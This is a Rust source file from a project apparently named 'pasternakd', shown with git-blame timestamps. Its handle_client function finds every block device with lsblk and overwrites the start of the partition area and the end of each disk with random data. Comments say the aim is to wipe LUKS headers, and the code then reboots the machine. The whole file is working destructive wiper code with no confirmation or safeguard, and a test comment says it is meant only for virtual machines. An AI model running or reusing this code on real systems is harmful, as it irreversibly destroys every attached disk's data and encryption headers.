pasternakd/src/lib.rs

74 lines
2 KiB
Rust
Raw Normal View History

2024-04-13 13:28:50 +03:00
use std::fs::OpenOptions;
use rand::Rng;
use std::io::{self, Write};
use std::io::Seek;
use std::process::Command;
2024-04-13 14:26:57 +03:00
fn get_block_devices() -> Vec<String> {
2024-04-13 13:28:50 +03:00
let output = Command::new("lsblk")
.arg("--output=NAME")
.arg("--noheadings")
.output()
.unwrap();
2024-04-13 14:26:57 +03:00
let mut block_devices: Vec<String> = vec![];
2024-04-13 13:28:50 +03:00
let mut output_str = String::new();
if output.status.success() {
output_str = String::from_utf8(output.stdout).unwrap();
block_devices = output_str.lines()
.filter(|line| !line.starts_with('|') && !line.starts_with('├') && !line.starts_with('└'))
2024-04-13 14:26:57 +03:00
.map(|line| line.to_string())
2024-04-13 13:28:50 +03:00
.collect();
}
2024-04-13 14:26:57 +03:00
block_devices
}
pub fn handle_client() {
let block_devices: Vec<String> = get_block_devices();
2024-04-13 13:28:50 +03:00
for blockdevice in block_devices {
let diskname = format!("/dev/{blockdevice}");
let mut disk = OpenOptions::new()
.write(true)
.open(diskname)
.expect("Failed to open /dev/sda");
// Calculate Location of LBA 33
let sector_size = 512;
let byte_offset = 33 * sector_size;
// Generate 512 KB of random data
let mut rng = rand::thread_rng();
let mut buffer = vec![0u8; 512 * 1024];
rng.fill(&mut buffer[..]);
// Seek to the start of LBA 33, where the first partition usually starts.
disk.seek(io::SeekFrom::Start(byte_offset as u64)).unwrap();
// Splash one.
disk.write_all(&buffer).unwrap();
// Seek to the end of the disk, just to make sure we get the LUKS headers.
2024-04-17 16:06:22 +03:00
disk.seek(io::SeekFrom::End(-524288 as i64)).unwrap();
2024-04-13 13:28:50 +03:00
// Splash two.
disk.write_all(&buffer).unwrap();
2024-04-17 16:06:22 +03:00
// Reboot.
2024-04-17 16:17:24 +03:00
let _reboot = Command::new("reboot")
.output()
.unwrap();
2024-04-13 13:28:50 +03:00
}
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
2024-04-17 14:57:51 +03:00
fn test_disk_locator() {
2024-04-17 16:06:22 +03:00
assert_eq!(get_block_devices(), vec!["vda".to_string()]) // Don't worry! This is *supposed* to not pass CI/CD. It should only be tested on QEMU/KVM Virtual Machines.
}
}